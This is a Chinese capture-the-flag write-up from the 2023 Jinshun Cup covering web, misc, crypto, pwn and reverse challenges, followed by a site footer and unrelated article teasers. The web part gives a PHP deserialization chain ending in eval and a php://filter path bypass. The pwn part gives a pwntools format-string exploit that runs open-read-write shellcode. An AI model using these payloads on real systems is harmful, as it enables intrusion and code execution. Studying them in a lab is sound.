2023金盾杯线上赛-AGRT战队-WP

目录

WEB

ApeCoin

get_source

ezupload

easyphp

MISC

来都来了

芙宁娜

Honor

Crypto

我看看谁还不会RSA

hakiehs

babyrsa

PWN

sign-format

RE

Re1


WEB

ApeCoin

扫描发现有源码泄露,访问www.tar.gz得到源码。

在源码中发现了冰蝎马。

Md5解码:13e40b614fcb3e19

买了之后得到密码为: 74658263

直接连接冰蝎。(或者直接套异或加密post传参)

get_source

泄露了php版本。

Php7.4.21存在源码泄露。

得到源码,发现是md5和sha1比较,用数组绕过。

flag{dc10891c-3acf-4796-8e21-06fcbb236ee9}

ezupload

本题非预期,直接访问/flag即可得到flag。

flag{15432d0c-29ac-4018-9dd1-6b499786b8a4}

easyphp

首先时require_once绕过,直接用伪协议配合多级符号链接的办法进行绕过。

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)

首先读取flag.php

?win=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/flag.php

发现flag是假的,又读取hint.php.

发现反序列化。

<?phperror_reporting(0);class mouse{public $rice;function __isset($n){$this->rice->nothing();}}class dog{public $a;public $b;public $c;function __wakeup(){$this->a = 'chance?';}function __destruct(){$this->b = $this->c;die($this->a);}}class ct{public $fish;function __toString(){if(isset($this->fish->d)){echo 'you wrong';}}}class get{public $cmd;function __call($name,$no){eval($this->cmd);}}$pop = $_GET['pop'];if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){echo "you will get flag".'</br>';unserialize($pop);}else{die("Try again!");}

我们只需用地址链接绕过wakeup,和黑名单,短标签代替echo,``执行命令,然后可以用dir来查看目录,nl来读取flag。

Exp:

<?phpclass mouse
{public $rice;function __construct(){$this->rice = new get;}
}class dog
{public $a;public $b;public $c;function __construct(){$this->b = &$this->a;$this->c = new ct;}
}class ct
{public $fish;function __construct(){$this->fish = new mouse;}
}class get
{public $cmd;function __construct(){$this->cmd='?><?=`nl /realflag/you_want_flag.php`;?>';}
}$a = new dog;echo urlencode((serialize($a)));

flag{ba97a49e-d6fe-4885-ad11-9f932508fca0}

MISC

来都来了

尝试爆破压缩包无果,发现伪加密。

010修改数据。(两处)

改程

然后解压得到数据。

将数据继续进行base64解码。

得到:

flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}

芙宁娜

首先将图片中的base64字符提出来得到一部分flag。

另外一部分的话,用010打开,找到图片中被遮挡住的hex,将其组合起来,得到pyc文件,最后利用stegosaurus隐写得到8e8f}

所以总的flag为:flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}

Honor

基本可以说是原题:[LitCTF 2023]ssvvgg(Steghide爆破)_Myon⁶的博客-CSDN博客

我们首先分离。

得到jpg文件。题目提示了6位数。首先利用crunch生成一个字典。

然后利用脚本跑一下。

#bruteStegHide.sh#!/bin/bashfor line in `cat $2`;dosteghide extract -sf $1 -p $line > /dev/null 2>&1if [[ $? -eq 0 ]];thenecho 'password is: '$lineexitfi done

得到密码为114514,还得到文件secret.txt,

 

随波逐流直接解。

flag{424c076e-768c-3636-acb5-4676900b9eec}

Crypto

我看看谁还不会RSA

p、q、e、c都给了直接能求m求出来直接转化成字符串得到flag

import gmpy2def hex_to_str(hex_str):bytes_list = [int(hex_str[i:i + 2], 16) for i in range(0, len(hex_str), 2)]ascii_str = ''.join([chr(b) for b in bytes_list])return ascii_strc = 8232151627233115772131180151146951323147507324390914513031444555762539986162650
d = 37777
p = 8666789885346075954502743436174521501697
q = 2449101960789395782044494299423558347143
n = p * q
m = pow(c, d, n)
print(hex(m))m = "666c61677b7235615f57686f5f77306e747d"
ascii_str = hex_to_str(m)
print(ascii_str)

flag{r5a_Who_w0nt}

hakiehs

下载得到vsdx文件使用在线网站打开

得到三串加密后的文字用的都是塞尔达里的文字分所以重复字母推测也是塞尔达里的人名


对照码表解出字符串得到flag :flag{linkzeldaganon}

flag{linkzeldaganon}

babyrsa

题目是四个rsa组成的

低加密指数攻击,Hastad 的广播攻击,共因子攻击,共模攻击

总脚本如下:

import random
from gmpy2 import *
from Crypto.Util.number import *def get_pq(n, e, d):while True:k = e * d - 1g = random.randint(3, n-2)while k % 2 == 0:k = k // 2temp = gmpy2.powmod(g, k, n) - 1if gmpy2.gcd(temp, n) > 1 and temp != 0:return gmpy2.gcd(temp, n)n3 = 12051274697693290706124990444806864448117509935274260318752465436559967219137920860124919553314211368508765502664900094082142706661617704447394483260270502959912432422283933156562557829059776645511526175946830797944396210200593641364373812907632258856908808586745953996838876585148477089130920840126604759803726479860720545937822034855566021695483054110183583988907008833874797365887064421431419502425185380984500547228350047311439447317962190370712239063737356496598392557365981551946830095461329125051776103612935060093311720140311238109431293968822563969151282495204180885021489513059495503670571143636655452716469
ed = 69658816925700544629283247962254001698454915826363324167248687841428229657908807412264705772690024925952057696968940793220409087134042992738307862734366593456917584994891634588967704564463461140666162771378448630149297796122822465032888385447250081148319964251299583828999913167876190841429498106534206930794855355577715448350958330453012916812935545376223554657010675616333737562871829058955712614717967062388097830554769074812791090306089948504126897656071909647674533441922466703825370972386827731262770792101862343930584334617555653870995907311492428224015386618103475028606681032449205172767950706359755588301624951536442947704335651172215907781436880482476424688324617047897192103372008662354672541395688790786001def factorize(n, e_d_1):g = 2while True:k = e_d_1while not k & 1:k //= 2p = int(gcd(pow(g, k, n) - 1, n)) % nif p > 1:return p, n // pg = int(next_prime(g))e_d_1 = 69658816925700544629283247962254001698454915826363324167248687841428229657908807412264705772690024925952057696968940793220409087134042992738307862734366593456917584994891634588967704564463461140666162771378448630149297796122822465032888385447250081148319964251299583828999913167876190841429498106534206930794855355577715448350958330453012916812935545376223554657010675616333737562871829058955712614717967062388097830554769074812791090306089948504126897656071909647674533441922466703825370972386827731262770792101862343930584334617555653870995907311492428224015386618103475028606681032449205172767950706359755588301624951536442947704335651172215907781436880482476424688324617047897192103372008662354672541395688790786001-1
c = 11863157764887938780824579679371643447225713456937713139455448355138750546048767357754685394264878457427548420317960140760043591368197340631979346116915377490755707128510486267310697447660165717832704288859433884564622568136142152559210196202042032186946621446044322226115326468571388229369925749537907791870951835832402887333436573697535805221699431529443630706171928243718095829047868200440437300914623880058122845868296335686759626119932797809303358591871321868677694716513342508348424566444564091188283096388392533118302463885528323186673006330284158603096338578778923136251906089784179273618683529795470632440395p = 93354166280947167833539683096118798106084867596287020276555488653205872987859801746684254263516217114159304058632013835768299155560709849272390696591877663191582507890284591155921659833532148373169277734804581509509984633376135064176560954186526127549825077504637255397234250633719215364937275738700717660719
q = 129091985690550359973833790091146198395778087257743694979450863523549458554652043962254166670266232149752471741954493310376155128942738655573094015353022428764487467130494383995010146802193442576035047727380869508672182718103620025385942937912806529910521900966008956204938991394692250823238247503135083004251
e = 0x10001
d = invert(e, (p-1)*(q-1))
n4 = pow(c, d, n3)
n4 = 11724141470213031356579859333168289639615622686202980979147607414099628001927870503704074638296450320671327227133196902015218180118453034164398442054531719756804900252542655705446585040034584849281570288775609323003673814723139607853980514502247385558743748114789081152782266165165126809308084620475099962391124207276377764447000610437375294321346891295581931069104337837729567504989594256840998015013333363391570945176593563683549152526955378806762080716974470953471818980944589068608135288232240285849862793197669031466836209176855431992367895720325301943048882628754497306752780016493475080579333402247446437049047e = 65537
n = n4
c = 2816736056550831653973157899506262168480964803166756293572880189176577881630790000276999096206812411096080372881789954172637160950190474795330245979531766081159871312457936325666134181134500105905111359723389919329114623407411163535294830491463973203982802730253713465016495675821972476067998011690656116432599713401287450098365165426916405282214433290711569156342791601423305946953973954621413878573603456700590631970960732956331418205770421655635464391354229333745390853601777279128370563052468332181418652663994521837627330594810890259573212379994374279868029267872371446355933222697100056083650060776007666183073
hint = 1206808598909242535223376202389156773475195509201912000607981432006398598528783704808089821819011267947458676834452259929741273957718095195986027224077744723815196776751694084725008944111685380089765819072640641124176452132485301158877006786449055072190022151463977004480696273437839703625450503113220076272034783199115132878674594771158660499906314896727517373004222806580432047871587589294550579633876505236901173980743458637972423194533488244328660796974432193229150042095384808125939545211811637021512657530104465354340731623159501847989090953187756127021193637464098143884758072922518945377684605967349065921691
p = GCD(hint - pow(2019, n, n), n)
q = n // p
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))

flag{y0U_R_th3_ch0sen_on3_1n_the_field_of_Crypt0gr4phy}

PWN

sign-format

只有一次读入到bss的机会,并且只有一次格式化字符串漏洞的机会

找到这个文章de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)-CSDN博客

找到这个栈里面的这个ld地址

然后找到elf文件里的_fini_array地址和format的地址0x404060

两者由于需要控制这个地址,所以改一下计算一下

为0x2e8,改成功

在地址上布置好orw的shellcode即可

这样exit在退出是,会返回到bss上执行orw。

Exp如下:

from pwn import*
context(os="linux",arch="amd64")
elf=ELF(&apos;./pwn&apos;)
libc=elf.libc
def bug():gdb.attach(p)pause()
#p=process(&apos;./pwn&apos;)
p=remote("123.56.121.61",port)orw=shellcraft.open(&apos;./flag&apos;)
orw+=shellcraft.read(1,&apos;rsp&apos;,0x100)
orw+=shellcraft.write(2,&apos;rsp&apos;,0x100)payload=b&apos;%&apos;+str(0x2e8).encode()+b&apos;c%30$hn&apos;
payload=payload.ljust(0x20,b&apos;a&apos;)
payload+=p64(0x404060+0x28)
payload+=asm(orw)
#bug()
p.sendlineafter(&apos;start!&apos;,payload)p.interactive()

flag{607c5687-4cf6-357c-83de-a4eb954b7aca}

RE

Re1

这里有个函数 跟进发现是16进制数据 按c转汇编然后p封装再反编译看看

加密类似rc4,然后第一个字节已知直接逐字节爆破解密,写出解密脚本

#include <stdio.h>int main(){unsigned char crypto_flag[] ={0x63, 0x61, 0x31, 0x61, 0x63, 0x64, 0x30, 0x63, 0x37, 0x64,0x37, 0x31, 0x31, 0x31, 0x65, 0x65, 0x61, 0x66, 0x30, 0x32,0x39, 0x36, 0x30, 0x38, 0x35, 0x33, 0x33, 0x39, 0x63, 0x65,0x38, 0x33};int k = 0;for (size_t i = 3; i < 32; i++){int mm = i;unsigned char v9[] ={0x63, 0xBD, 0x80, 0x56, 0x7D, 0x4C, 0xC6, 0xD5, 0x44, 0x66,0x6D, 0x2C, 0x98, 0xA4, 0x1E, 0x50, 0x19, 0x5C, 0x9E, 0x41,0x8B, 0x55, 0x05, 0x32, 0xBF, 0xE1, 0x7E, 0xFA, 0xB2, 0x93,0xF6, 0x2A};int v3[515] = { 0 };int v4;char v5;int j;int v7;int ii;v7 = 0;for (ii = 0; ii <= 255; ++ii){v3[ii] = ii;v3[ii + 256] = *v9;}for (j = 1; j < mm; ++j){for (ii = 0; ii <= 255; ++ii)v3[ii + 256] = v9[j - 1];for (ii = 0; ii <= 255; ++ii){v7 = (v3[ii + 256] + v7 + v3[ii]) % 256;v4 = v3[v7];v3[v7] = v3[ii];v3[ii] = v4;}v5 = 0;for (ii = 0; ii <= 255; ii += 2){v5 += v3[ii];v5 ^= v3[ii + 256];}if (j == (mm - 2)){k = v5;}}v9[mm - 2] ^= k;printf("%c", v9[mm - 2 ]);}return 0;}

运行得到flag(第一个字节是c最后两位是83,补全得到flag)

Flag:flag{ca1acd0c7d7111eeaf0296085339ce83}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/170371.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【可编程串行接口8251A】:用处、内部结构、各引脚的解释、工作方式

8251A的作用 微机内部的数据传送方式为并行方式。 若外设采用串行方式&#xff0c;则微机与外设之间需加串行接口。 串行接口基本功能就是&#xff1a;输入数据时&#xff0c;进行串/并转换&#xff1b;输出数据时&#xff0c;进行并/串转换。Intel8251A是一种可编程的通用同步…

frp V0.52.3 搭建

下载 https://github.com/fatedier/frp/releases/ 此版本暂时没有windows的&#xff0c;想在windows使用请下载v0.52.2 简易搭建 frps.toml的配置文件&#xff0c;以下12000、8500需要在云服务器中的防火墙中开放tcp # bindPort为frps和frpc通信的端口&#xff0c;需要在防…

渗透测试信息搜集

注&#xff1a;太简陋了&#xff0c;不忍直视 渗透测试信息收集 黑盒测试&#xff1a;给域名 灰盒测试&#xff1a;给域名、账户(或密码) 白盒测试&#xff1a;给域名、账户、密码 授权书 对安全公司进行授权 攻防演习 是对个人进行授权 渗透测试&#xff1a;&#xff0…

实验室信息管理系统源码,LIS系统源码,lis源码

医学检验(LIS)管理系统源码&#xff0c;云LIS系统全套商业源码 随着全自动生化分析仪、全自动免疫分析仪和全自动血球计数器等仪器的使用&#xff0c;检验科的大多数项目实现了全自动化分析。全自动化分析引入后&#xff0c;组合化验增多&#xff0c;更好的满足了临床需要&…

springboot 返回problem+json

spring所有配置都在WebMvcAutoConfiguration中 其中有 ProblemDetailsExceptionHandler 容器中的一个组件 -ControllerAdvice用来集中处理异常的 -点进ResponseEntityExceptionHandler 包含这些异常&#xff0c;如果出现以下异常&#xff0c;会被springboot支持以RFC 7807规…

142.【Nginx负载均衡-01】

Nginx_基础篇 (一)、Nginx 简介1.背景介绍(1).http和三大邮局协议(2).反向代理与正向代理 2.常见服务器对比(1).公司介绍(2).lls 服务器(3).Tomcat 服务器(4).Apache 服务器(5).Lighttpd 服务器(6).其他的服务器 3.Nginx的优点(1).速度更快、并发更高(2).配置简单&#xff0c;扩…

1.1 半加器

输入1输入2结果进位0000101001101101 半加器: 实现1位的加法 根据结果可知输入1与输入2相加结果 -> 符合 异或门进位 -> 符合 与门最终要么有结果要么有进位,不存在即有结果也有进位 异或门的实现也可以由基本的3个 “与或非” 门实现 与:& , 或:| , 非:! 用这3个…

从前序与中序遍历序列构造二叉树(C++实现)

从前序与中序遍历序列构造二叉树 题目思路分析代码代码讲解 题目 思路分析 我们可以通过递归实现的二叉树构建函数。它根据给定的先序遍历序列和中序遍历序列构建一棵二叉树&#xff0c;并返回根节点。可以创建一个_build 函数&#xff0c;该函数负责构建二叉树的节点&#xff…

OSG粒子系统与阴影-自定义粒子系统示例<2>(5)

自定义粒子系统示例(二) 目前自定义粒子的方法有很多&#xff0c;在OSG 中使用的是 Billboard 技术与色彩融合技术。色彩融合是一种高级的渲染技术&#xff0c;如果读者有兴趣&#xff0c;可参看 OSG 粒子系统实现的源代码。这里采用简单的布告牌技术(osg::Billboard)与动画来实…

01背包问题

介绍 有N件物品和一个最多能被重量为W 的背包。第i件物品的重量是weight[i]&#xff0c;得到的价值是value[i] 。每件物品只能用一次&#xff0c;求解将哪些物品装入背包里物品价值总和最大。 分析 优化后的代码 public class demo {static class Item{int index;String na…

OpenCV快速入门:相机标定——单目视觉和双目视觉

文章目录 前言一、相机标定的基本原理1.1 相机模型与坐标系1.1.1 相机模型1.1.2 坐标系 1.2 相机内参与外参1.2.1 内部参数1.2.2 外部参数 1.3 镜头畸变1.4 透视变换1.5 标定的重要性和应用场景 二、单目视觉2.1 单目视觉的原理2.1.1 单目视觉的原理2.1.2 单目视觉的公式2.1.3 …

MYSQL基础知识之【添加数据,查询数据】

文章目录 前言MySQL 插入数据通过命令提示窗口插入数据使用PHP脚本插入数据 MySQL 查询数据通过命令提示符获取数据使用PHP脚本来获取数据内存释放 后言 前言 hello world欢迎来到前端的新世界 &#x1f61c;当前文章系列专栏&#xff1a;Mysql &#x1f431;‍&#x1f453;博…

【c++】——类和对象(下) ——内存管理

作者:chlorine 专栏:c专栏 目录 &#x1f4bb; C/C内存分布 &#x1f4bb;C语言中动态内存管理方式&#xff1a;malloc/calloc/realloc/free ​编辑 &#x1f4bb;C内存管理方式 &#x1f449;new/delete操作内置类型 &#x1f449;new和delete操作自定义类型 &#x1f…

VSCode 警告:v-on event ‘@toggleClick‘ must be hyphenated

&#x1f680; 作者主页&#xff1a; 有来技术 &#x1f525; 开源项目&#xff1a; youlai-mall &#x1f343; vue3-element-admin &#x1f343; youlai-boot &#x1f33a; 仓库主页&#xff1a; Gitee &#x1f4ab; Github &#x1f4ab; GitCode &#x1f496; 欢迎点赞…

HCIA-RS基础-距离矢量路由协议

前言&#xff1a; 动态路由协议根据寻径方式可以分为距离矢量路由协议和链路状态路由协议。本文将详细介绍距离矢量路由协议的原理&#xff0c;并阐述其中一个重要概念——路由环路&#xff0c;同时介绍如何避免路由环路的方法。通过学习本文&#xff0c;您将能够深入理解距离矢…

STK Components 二次开发-创建卫星

1.卫星数据 可以用stk 里面自带的 参数帮助文档。 也可以自己下载 CelesTrak: Current GP Element Sets 这里你所需要的最新卫星数据全有。 其实创建需要的就是卫星的二根数。 给定二根数也可以。 读取数据库中的卫星数据 这个接口优先下载最新的。 var tleList TwoL…

Ps:拾色器 - 选取专色

在 Adobe 拾色器中&#xff0c;可点击“颜色库” Color Libraries按钮来选取专色。 首先在色库 Book列表中选择对应的色库&#xff0c;然后在中间的色相条中选择需要的样本组&#xff0c;再从左侧颜色列表中选取颜色。 可以直接键入颜色名称来选择。比如&#xff0c;键入 13&am…

0001Java程序设计-springboot基于微信小程序批发零售业商品管理系统

文章目录 **摘 要****目录**系统实现开发环境 编程技术交流、源码分享、模板分享、网课分享 企鹅&#x1f427;裙&#xff1a;776871563 摘 要 本毕业设计的内容是设计并且实现一个基于微信小程序批发零售业商品管理系统。它是在Windows下&#xff0c;以MYSQL为数据库开发平台…

C#,《小白学程序》第八课:列表(List)其二,编制《高铁列车时刻表》与时间DateTime

1 文本格式 /// <summary> /// 车站信息类 class /// </summary> public class Station { /// <summary> /// 编号 /// </summary> public int Id { get; set; } 0; /// <summary> /// 车站名 /// </summary&g…

物联网AI 无线连接学习之蓝牙基础篇 协议的发展

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; 蓝牙由来 “蓝牙”&#xff08;Bluetooth&#xff09;原是一位在10世纪统一丹麦的国王哈拉尔 (HaralBluetooth)&#xff0c;他将当时的瑞典、芬兰与丹麦统一起来。而将“蓝牙”与后来的无线通讯技术标准关联…